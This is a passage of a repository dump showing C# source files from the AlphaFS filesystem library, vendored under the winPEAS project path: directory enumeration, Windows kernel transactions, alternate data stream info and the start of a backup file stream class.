the directories to be searched and the custom predicate.</summary>\n      /// <returns>An <see cref=\"IEnumerable{T}\"/> instance: FileSystemEntryInfo, DirectoryInfo, FileInfo or string (full path).</returns>\n      [SecurityCritical]\n      public IEnumerable<T> Enumerate<T>()\n      {\n         // MSDN: Queue\n         // Represents a first-in, first-out collection of objects.\n         // The capacity of a Queue is the number of elements the Queue can hold.\n         // As elements are added to a Queue, the capacity is automatically increased as required through reallocation. The capacity can be decreased by calling TrimToSize.\n         // The growth factor is the number by which the current capacity is multiplied when a greater capacity is required. The growth factor is determined when the Queue is constructed.\n         // The capacity of the Queue will always increase by a minimum value, regardless of the growth factor; a growth factor of 1.0 will not prevent the Queue from increasing in size.\n         // If the size of the collection can be estimated, specifying the initial capacity eliminates the need to perform a number of resizing operations while adding elements to the Queue.\n         // This constructor is an O(n) operation, where n is capacity.\n\n         var dirs = new Queue<string>(NativeMethods.DefaultFileBufferSize);\n\n         dirs.Enqueue(Path.AddTrailingDirectorySeparator(InputPath, false));\n\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n\n            while (dirs.Count > 0\n#if !NET35\n               && !CancellationToken.IsCancellationRequested\n#endif\n            )\n            {\n               int lastError;\n\n               NativeMethods.WIN32_FIND_DATA win32FindData;\n\n\n               // Removes the object at the beginning of your Queue.\n               // The algorithmic complexity of this is O(1). It doesn't loop over elements.\n\n               var pathLp = dirs.Dequeue();\n               \n\n               using (var handle = FindFirstFile(pathLp + Path.WildcardStarMatchAll, out win32FindData, out lastError))\n               {\n                  // When the handle is null and we are still here, it means the ErrorHandler is active.\n                  // We hit an inaccessible folder, so break and continue with the next one.\n                  if (null == handle)\n                     continue;\n\n                  do\n                  {\n                     if (lastError == (int) Win32Errors.ERROR_NO_MORE_FILES)\n                     {\n                        lastError = (int) Win32Errors.NO_ERROR;\n                        continue;\n                     }\n\n\n                     // Skip reparse points here to cleanly separate regular directories from links.\n                     if (SkipReparsePoints && (win32FindData.dwFileAttributes & FileAttributes.ReparsePoint) != 0)\n                        continue;\n\n\n                     var fileName = win32FindData.cFileName;\n\n                     var isFolder = (win32FindData.dwFileAttributes & FileAttributes.Directory) != 0;\n\n                     // Skip entries \"..\" and \".\"\n                     if (isFolder && (fileName.Equals(Path.ParentDirectoryPrefix, StringComparison.Ordinal) || fileName.Equals(Path.CurrentDirectoryPrefix, StringComparison.Ordinal)))\n                        continue;\n\n\n                     var fsei = NewFilesystemEntry(pathLp, fileName, win32FindData);\n\n                     var res = NewFileSystemEntryType<T>(isFolder, fsei, fileName, pathLp, win32FindData);\n\n\n                     // If recursion is requested, add it to the queue for later traversal.\n                     if (isFolder && Recursive && (null == RecursionFilter || RecursionFilter(fsei)))\n\n                        dirs.Enqueue(Path.AddTrailingDirectorySeparator(pathLp + fileName, false));\n\n\n                     // Codacy: When constraints have not been applied to restrict a generic type parameter to be a reference type, then a value type,\n                     // such as a struct, could also be passed. In such cases, comparing the type parameter to null would always be false,\n                     // because a struct can be empty, but never null. If a value type is truly what's expected, then the comparison should use default().\n                     // If it's not, then constraints should be added so that no value type can be passed.\n\n                     if (Equals(res, default(T)))\n                        continue;\n\n\n                     yield return res;\n\n                  } while (\n#if !NET35\n                     !CancellationToken.IsCancellationRequested &&\n#endif\n                     NativeMethods.FindNextFile(handle, out win32FindData));\n\n\n                  lastError = Marshal.GetLastWin32Error();\n\n                  if (!ContinueOnException\n#if !NET35\n                      && !CancellationToken.IsCancellationRequested\n#endif\n                  )\n                     ThrowPossibleException((uint) lastError, pathLp);\n               }\n            }\n      }\n\n\n      /// <summary>Gets a specific file system object.</summary>\n      /// <returns>\n      /// <para>The return type is based on C# inference. Possible return types are:</para>\n      /// <para> <see cref=\"string\"/>- (full path), <see cref=\"FileSystemInfo\"/>- (<see cref=\"DirectoryInfo\"/> or <see cref=\"FileInfo\"/>), <see cref=\"FileSystemEntryInfo\"/> instance</para>\n      /// <para>or null in case an Exception is raised and <see cref=\"ContinueOnException\"/> is <c>true</c>.</para>\n      /// </returns>\n      [SecurityCritical]\n      public T Get<T>()\n      {\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         {\n            NativeMethods.WIN32_FIND_DATA win32FindData;\n            var lastError = 0;\n\n            // Not explicitly set to be a folder.\n\n            if (!IsDirectory)\n            {\n               using (var handle = FindFirstFile(InputPath, out win32FindData, out lastError))\n               {\n                  if (null != handle)\n                  {\n                     if (!ContinueOnException)\n                        VerifyInstanceType(win32FindData);\n                  }\n\n                  else\n                     return (T) (object) null;\n\n\n                  return NewFileSystemEntryType<T>((win32FindData.dwFileAttributes & FileAttributes.Directory) != 0, null, null, InputPath, win32FindData);\n               }\n            }\n\n\n            using (var handle = FindFirstFile(InputPath, out win32FindData, out lastError, true))\n            {\n               if (null == handle)\n               {\n                  // InputPath might be a logical drive such as: \"C:\\\", \"D:\\\".\n\n                  var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA();\n\n                  lastError = File.FillAttributeInfoCore(Transaction, Path.GetRegularPathCore(InputPath, GetFullPathOptions.None, false), ref attrs, false, true);\n\n                  if (lastError != Win32Errors.NO_ERROR)\n                  {\n                     if (!ContinueOnException)\n                     {\n                        switch ((uint) lastError)\n                        {\n                           case Win32Errors.ERROR_FILE_NOT_FOUND: // FileNotFoundException.\n                           case Win32Errors.ERROR_PATH_NOT_FOUND: // DirectoryNotFoundException.\n                           case Win32Errors.ERROR_NOT_READY:      // DeviceNotReadyException: Floppy device or network drive not ready.\n                           case Win32Errors.ERROR_BAD_NET_NAME:\n\n                              Directory.ExistsDriveOrFolderOrFile(Transaction, InputPath, IsDirectory, lastError, true, true);\n                              break;\n                        }\n\n                        ThrowPossibleException((uint) lastError, InputPath);\n                     }\n\n                     return (T) (object) null;\n                  }\n\n\n                  win32FindData = new NativeMethods.WIN32_FIND_DATA\n                  {\n                     cFileName = Path.CurrentDirectoryPrefix,\n                     dwFileAttributes = attrs.dwFileAttributes,\n                     ftCreationTime = attrs.ftCreationTime,\n                     ftLastAccessTime = attrs.ftLastAccessTime,\n                     ftLastWriteTime = attrs.ftLastWriteTime,\n                     nFileSizeHigh = attrs.nFileSizeHigh,\n                     nFileSizeLow = attrs.nFileSizeLow\n                  };\n               }\n\n\n               if (!ContinueOnException)\n                  VerifyInstanceType(win32FindData);\n            }\n\n\n            return NewFileSystemEntryType<T>((win32FindData.dwFileAttributes & FileAttributes.Directory) != 0, null, null, InputPath, win32FindData);\n         }\n      }\n\n      #endregion // Methods\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/KernelTransaction.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\nusing System.Security.Permissions;\nusing System.Transactions;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   [ComImport]\n   [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]\n   [Guid(\"79427A2B-F895-40e0-BE79-B57DC82ED231\")]\n   [SuppressUnmanagedCodeSecurity]\n   internal interface IKernelTransaction\n   {\n      void GetHandle([Out] out SafeKernelTransactionHandle handle);\n   }\n\n   /// <summary>A KTM transaction object for use with the transacted operations in <see cref=\"Filesystem\"/>.</summary>\n   public sealed class KernelTransaction : MarshalByRefObject, IDisposable\n   {\n      /// <summary>Initializes a new instance of the <see cref=\"KernelTransaction\"/> class, internally using the specified <see cref=\"Transaction\"/>.\n      /// This method allows the usage of methods accepting a <see cref=\"KernelTransaction\"/> with an instance of <see cref=\"System.Transactions.Transaction\"/>.\n      /// </summary>\n      /// <param name=\"transaction\">The transaction to use for any transactional operations.</param>\n      [SuppressMessage(\"Microsoft.Security\", \"CA2122:DoNotIndirectlyExposeMethodsWithLinkDemands\")]\n      [SecurityCritical]\n      public KernelTransaction(Transaction transaction)\n      {\n         ((IKernelTransaction) TransactionInterop.GetDtcTransaction(transaction)).GetHandle(out _hTrans);\n      }\n\n      /// <summary>Initializes a new instance of the <see cref=\"KernelTransaction\"/> class with a default security descriptor, infinite timeout and no description.</summary>\n      [SecurityCritical]\n      public KernelTransaction()\n         : this(0, null)\n      {\n      }\n\n      /// <summary>Initializes a new instance of the <see cref=\"KernelTransaction\"/> class with a default security descriptor.</summary>\n      /// <param name=\"timeout\"><para>The time, in milliseconds, when the transaction will be aborted if it has not already reached the prepared state.</para></param>\n      /// <param name=\"description\">A user-readable description of the transaction. This parameter may be <c>null</c>.</param>\n      [SecurityCritical]      \n      public KernelTransaction(int timeout, string description)\n         : this(null, timeout, description)\n      {\n      }\n\n      /// <summary>Initializes a new instance of the <see cref=\"KernelTransaction\"/> class.</summary>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <param name=\"securityDescriptor\">The <see cref=\"ObjectSecurity\"/> security descriptor.</param>\n      /// <param name=\"timeout\"><para>The time, in milliseconds, when the transaction will be aborted if it has not already reached the prepared state.</para>\n      /// <para>Specify 0 to provide an infinite timeout.</para></param>\n      /// <param name=\"description\">A user-readable description of the transaction. This parameter may be <c>null</c>.</param>\n      [SecurityCritical]\n      public KernelTransaction(ObjectSecurity securityDescriptor, int timeout, string description)\n      {\n         if (!NativeMethods.IsAtLeastWindowsVista)\n            throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message);\n\n         using (var securityAttributes = new Security.NativeMethods.SecurityAttributes(securityDescriptor))\n         {\n\n            _hTrans = NativeMethods.CreateTransaction(securityAttributes, IntPtr.Zero, 0, 0, 0, timeout, description);\n            int lastError = Marshal.GetLastWin32Error();            \n\n            NativeMethods.IsValidHandle(_hTrans, lastError);\n         }\n      }\n\n      /// <summary>Requests that the specified transaction be committed.</summary>\n      /// <exception cref=\"TransactionAlreadyCommittedException\"/>\n      /// <exception cref=\"TransactionAlreadyAbortedException\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      /// <exception cref=\"Win32Exception\"/>\n      [SecurityCritical]\n      public void Commit()\n      {\n         if (!NativeMethods.IsAtLeastWindowsVista)\n            throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message);\n\n         if (!NativeMethods.CommitTransaction(_hTrans))\n            CheckTransaction();\n      }\n\n      /// <summary>Requests that the specified transaction be rolled back. This function is synchronous.</summary>\n      /// <exception cref=\"TransactionAlreadyCommittedException\"/>\n      /// <exception cref=\"Win32Exception\"/>\n      /// <exception cref=\"PlatformNotSupportedException\">The operating system is older than Windows Vista.</exception>\n      [SecurityCritical]\n      public void Rollback()\n      {\n         if (!NativeMethods.IsAtLeastWindowsVista)\n            throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message);\n\n         if (!NativeMethods.RollbackTransaction(_hTrans))\n            CheckTransaction();\n      }\n\n      private static void CheckTransaction()\n      {\n         uint error = (uint) Marshal.GetLastWin32Error();\n         int hr = Marshal.GetHRForLastWin32Error();\n\n         switch (error)\n         {\n            case Win32Errors.ERROR_TRANSACTION_ALREADY_ABORTED:\n               throw new TransactionAlreadyAbortedException(\"Transaction was already aborted\", Marshal.GetExceptionForHR(hr));\n\n            case Win32Errors.ERROR_TRANSACTION_ALREADY_COMMITTED:\n               throw new TransactionAlreadyAbortedException(\"Transaction was already committed\", Marshal.GetExceptionForHR(hr));\n\n            default:\n               Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());\n               break;\n         }\n      }\n\n      /// <summary>Gets the safe handle.</summary>\n      /// <value>The safe handle.</value>\n      public SafeHandle SafeHandle\n      {\n         get { return _hTrans; }\n      }\n\n      private readonly SafeKernelTransactionHandle _hTrans;\n\n      #region IDisposable Members\n\n      /// <summary>Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.</summary>\n      [SecurityPermissionAttribute(SecurityAction.Demand, UnmanagedCode = true)]\n      public void Dispose()\n      {\n         _hTrans.Close();\n      }\n\n      #endregion // IDisposable Members\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Link Stream/AlternateDataStreamInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Globalization;\nusing System.Text;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Information about an alternate data stream.</summary>  \n   /// <seealso cref=\"O:Alphaleonis.Win32.Filesystem.File.EnumerateAlternateDataStreams\"/> \n   [Serializable]\n   public struct AlternateDataStreamInfo : IEquatable<AlternateDataStreamInfo>\n   {\n      #region Fields\n\n      [NonSerialized] private readonly string _fullPath;\n      [NonSerialized] private readonly string _streamName;\n      \n      #endregion // Fields\n\n\n      #region Constructor\n\n      internal AlternateDataStreamInfo(string fullPath, NativeMethods.WIN32_FIND_STREAM_DATA findData)\n      {\n         _fullPath = fullPath;\n\n         Size = findData.StreamSize;\n\n         _streamName = ParseStreamName(findData.cStreamName);\n      }\n\n      #endregion // Constructor\n\n\n      #region Properties\n\n      /// <summary>Gets the full path to the stream.</summary>\n      /// <remarks>\n      ///   This is a path in long path format that can be passed to <see cref=\"O:Alphaleonis.Win32.Filesystem.File.Open\"/> to open the stream if\n      ///   <see cref=\"PathFormat.FullPath\"/> or <see cref=\"PathFormat.LongFullPath\"/> is specified.\n      /// </remarks>\n      /// <value>The full path to the stream in long path format.</value>\n      public string FullPath\n      {\n         get { return string.Format(CultureInfo.InvariantCulture, \"{0}{1}\", _fullPath, !Utils.IsNullOrWhiteSpace(StreamName) ? Path.StreamSeparator + StreamName : string.Empty); }\n      }\n      \n\n      /// <summary>Gets the size of the stream.</summary>      \n      public long Size { get; private set; }\n\n\n      /// <summary>Gets the name of the alternate data stream.</summary>\n      /// <remarks>This value is an empty string for the default stream (:$DATA), and for any other data stream it contains the name of the stream.</remarks>\n      /// <value>The name of the stream.</value>\n      public string StreamName\n      {\n         get { return _streamName; }\n      }\n\n      #endregion // Properties\n\n\n      #region Methods\n\n      /// <summary>Returns the hash code for this instance.</summary>\n      /// <returns>A 32-bit signed integer that is the hash code for this instance.</returns>\n      public override int GetHashCode()\n      {\n         return Utils.CombineHashCodesOf(StreamName, FullPath);\n      }\n      \n\n      /// <summary>Determines whether the specified Object is equal to the current Object.</summary>\n      /// <param name=\"other\">Another <see cref=\"AlternateDataStreamInfo\"/> instance to compare to.</param>\n      /// <returns><c>true</c> if the specified Object is equal to the current Object; otherwise, <c>false</c>.</returns>\n      public bool Equals(AlternateDataStreamInfo other)\n      {\n         return GetType() == other.GetType() &&\n                Equals(StreamName, other.StreamName) &&\n                Equals(FullPath, other.FullPath) &&\n                Equals(Size, other.Size);\n      }\n\n\n      /// <summary>Indicates whether this instance and a specified object are equal.</summary>\n      /// <param name=\"obj\">The object to compare with the current instance.</param>\n      /// <returns>\n      ///   true if <paramref name=\"obj\"/> and this instance are the same type and represent the same value; otherwise, false.\n      /// </returns>\n      public override bool Equals(object obj)\n      {\n         return obj is AlternateDataStreamInfo && Equals((AlternateDataStreamInfo) obj);\n      }\n\n\n      // <summary>Implements the operator ==</summary>\n      /// <param name=\"left\">A.</param>\n      /// <param name=\"right\">B.</param>\n      /// <returns>The result of the operator.</returns>\n      public static bool operator ==(AlternateDataStreamInfo left, AlternateDataStreamInfo right)\n      {\n         return left.Equals(right);\n      }\n\n\n      /// <summary>Implements the operator !=</summary>\n      /// <param name=\"left\">A.</param>\n      /// <param name=\"right\">B.</param>\n      /// <returns>The result of the operator.</returns>\n      public static bool operator !=(AlternateDataStreamInfo left, AlternateDataStreamInfo right)\n      {\n         return !(left == right);\n      }\n\n      #endregion // Methods\n\n\n      #region Private Methods\n\n      private static string ParseStreamName(string streamName)\n      {\n         if (null == streamName || streamName.Length < 2)\n            return string.Empty;\n\n         if (streamName[0] != Path.StreamSeparatorChar)\n            throw new ArgumentException(Resources.Invalid_Stream_Name, \"streamName\");\n\n         \n         var sb = new StringBuilder(streamName.Length);\n\n         for (int i = 1, l = streamName.Length; i < l; i++)\n         {\n            if (streamName[i] == Path.StreamSeparatorChar)\n               break;\n\n            sb.Append(streamName[i]);\n         }\n\n\n         return sb.ToString();\n      }\n\n      #endregion // Private Methods\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Link Stream/BackupFileStream.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Alphaleonis.Win32.Security;\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Security.AccessControl;\nusing System.Text;\nusing winPEAS._3rdParty.AlphaFS;\nusing SecurityNativeMethods = Alphaleonis.Win32.Security.NativeMethods;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>The <see cref=\"BackupFileStream\"/> provides access to data associated with a specific file or directory, including security information and alternative data streams, for backup and restore operations.</summary>\n   /// <remarks>This class uses the <see href=\"http://msdn.microsoft.com/en-us/library/aa362509(VS.85).aspx\">BackupRead</see>, \n   /// <see href=\"http://msdn.microsoft.com/en-us/library/aa362510(VS.85).aspx\">BackupSeek</see> and \n   /// <see href=\"http://msdn.microsoft.com/en-us/library/aa362511(VS.85).aspx\">BackupWrite</see> functions from the Win32 API to provide access to the file or directory.\n   /// </remarks>\n   public sealed class BackupFileStream : Stream\n   {\n      private readonly bool _canRead;\n      private readonly bool _canWrite;\n      private readonly bool _processSecurity;\n\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2006:UseSafeHandleToEncapsulateNativeResources\")]\n      private IntPtr _context = IntPtr.Zero;\n\n\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class with the specified path and creation mode.</summary>\n      /// <param name=\"path\">A relative or absolute path for the file that the current <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file.</param>\n      /// <remarks>The file will be opened for exclusive access for both reading and writing.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public BackupFileStream(string path, FileMode mode) : this(File.CreateFileCore(null, false, path, ExtendedFileAttributes.Normal, null, mode, FileSystemRights.Read | FileSystemRights.Write, FileShare.None, true, false, PathFormat.RelativePath), FileSystemRights.Read | FileSystemRights.Write)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class with the specified path, creation mode and access rights.</summary>\n      /// <param name=\"path\">A relative or absolute path for the file that the current <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileSystemRights\"/> constant that determines the access rights to use when creating access and audit rules for the file.</param>\n      /// <remarks>The file will be opened for exclusive access.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public BackupFileStream(string path, FileMode mode, FileSystemRights access) : this(File.CreateFileCore(null, false, path, ExtendedFileAttributes.Normal, null, mode, access, FileShare.None, true, false, PathFormat.RelativePath), access)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class with the specified path, creation mode, access rights and sharing permission.</summary>\n      /// <param name=\"path\">A relative or absolute path for the file that the current <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileSystemRights\"/> constant that determines the access rights to use when creating access and audit rules for the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> constant that determines how the file will be shared by processes.</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public BackupFileStream(string path, FileMode mode, FileSystemRights access, FileShare share) : this(File.CreateFileCore(null, false, path, ExtendedFileAttributes.Normal, null, mode, access, share, true, false, PathFormat.RelativePath), access)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class with the specified path, creation mode, access rights and sharing permission, and additional file attributes.</summary>\n      /// <param name=\"path\">A relative or absolute path for the file that the current <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileSystemRights\"/> constant that determines the access rights to use when creating access and audit rules for the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"attributes\">A <see cref=\"ExtendedFileAttributes\"/> constant that specifies additional file attributes.</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public BackupFileStream(string path, FileMode mode, FileSystemRights access, FileShare share, ExtendedFileAttributes attributes) : this(File.CreateFileCore(null, false, path, attributes, null, mode, access, share, true, false, PathFormat.RelativePath), access)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class with the specified path, creation mode, access rights and sharing permission, additional file attributes, access control and audit security.</summary>\n      /// <param name=\"path\">A relative or absolute path for the file that the current <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileSystemRights\"/> constant that determines the access rights to use when creating access and audit rules for the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"attributes\">A <see cref=\"ExtendedFileAttributes\"/> constant that specifies additional file attributes.</param>\n      /// <param name=\"security\">A <see cref=\"FileSecurity\"/> constant that determines the access control and audit security for the file. This parameter This parameter may be <c>null</c>.</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public BackupFileStream(string path, FileMode mode, FileSystemRights access, FileShare share, ExtendedFileAttributes attributes, FileSecurity security) : this(File.CreateFileCore(null, false, path, attributes, security, mode, access, share, true, false, PathFormat.RelativePath), access)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class with the specified path and creation mode.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A relative or absolute path for the file that the current <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file.</param>\n      /// <remarks>The file will be opened for exclusive access for both reading and writing.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public BackupFileStream(KernelTransaction transaction, string path, FileMode mode) : this(File.CreateFileCore(transaction, false, path, ExtendedFileAttributes.Normal, null, mode, FileSystemRights.Read | FileSystemRights.Write, FileShare.None, true, false, PathFormat.RelativePath), FileSystemRights.Read | FileSystemRights.Write)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class with the specified path, creation mode and access rights.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A relative or absolute path for the file that the current <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileSystemRights\"/> constant that determines the access rights to use when creating access and audit rules for the file.</param>\n      /// <remarks>The file will be opened for exclusive access.</remarks>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public BackupFileStream(KernelTransaction transaction, string path, FileMode mode, FileSystemRights access) : this(File.CreateFileCore(transaction, false, path, ExtendedFileAttributes.Normal, null, mode, access, FileShare.None, true, false, PathFormat.RelativePath), access)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class with the specified path, creation mode, access rights and sharing permission.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A relative or absolute path for the file that the current <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileSystemRights\"/> constant that determines the access rights to use when creating access and audit rules for the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> constant that determines how the file will be shared by processes.</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public BackupFileStream(KernelTransaction transaction, string path, FileMode mode, FileSystemRights access, FileShare share) : this(File.CreateFileCore(transaction, false, path, ExtendedFileAttributes.Normal, null, mode, access, share, true, false, PathFormat.RelativePath), access)\n      {\n      }\n\n\n      /// <summary>Initializes a new instance of the <see cref=\"BackupFileStream\"/> class with the specified path, creation mode, access rights and sharing permission, and additional file attributes.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A relative or absolute path for the file that the current <see cref=\"BackupFileStream\"/> object will encapsulate.</param>\n      /// <param name=\"mode\">A <see cref=\"FileMode\"/> constant that determines how to open or create the file.</param>\n      /// <param name=\"access\">A <see cref=\"FileSystemRights\"/> constant that determines the access rights to use when creating access and audit rules for the file.</param>\n      /// <param name=\"share\">A <see cref=\"FileShare\"/> constant that determines how the file will be shared by processes.</param>\n      /// <param name=\"attributes\">A <see cref=\"ExtendedFileAttributes\"/> constant that specifies additional file attributes.</param>\n      [SuppressMessage(\"Microsoft.Reliability\", \"CA2000:Dispose objects before losing scope\")]\n      [SecurityCritical]\n      public BackupFileStream(KernelTransaction transaction, string path, FileMode mode, FileSystemRights access, FileShare share, ExtendedFileAttributes 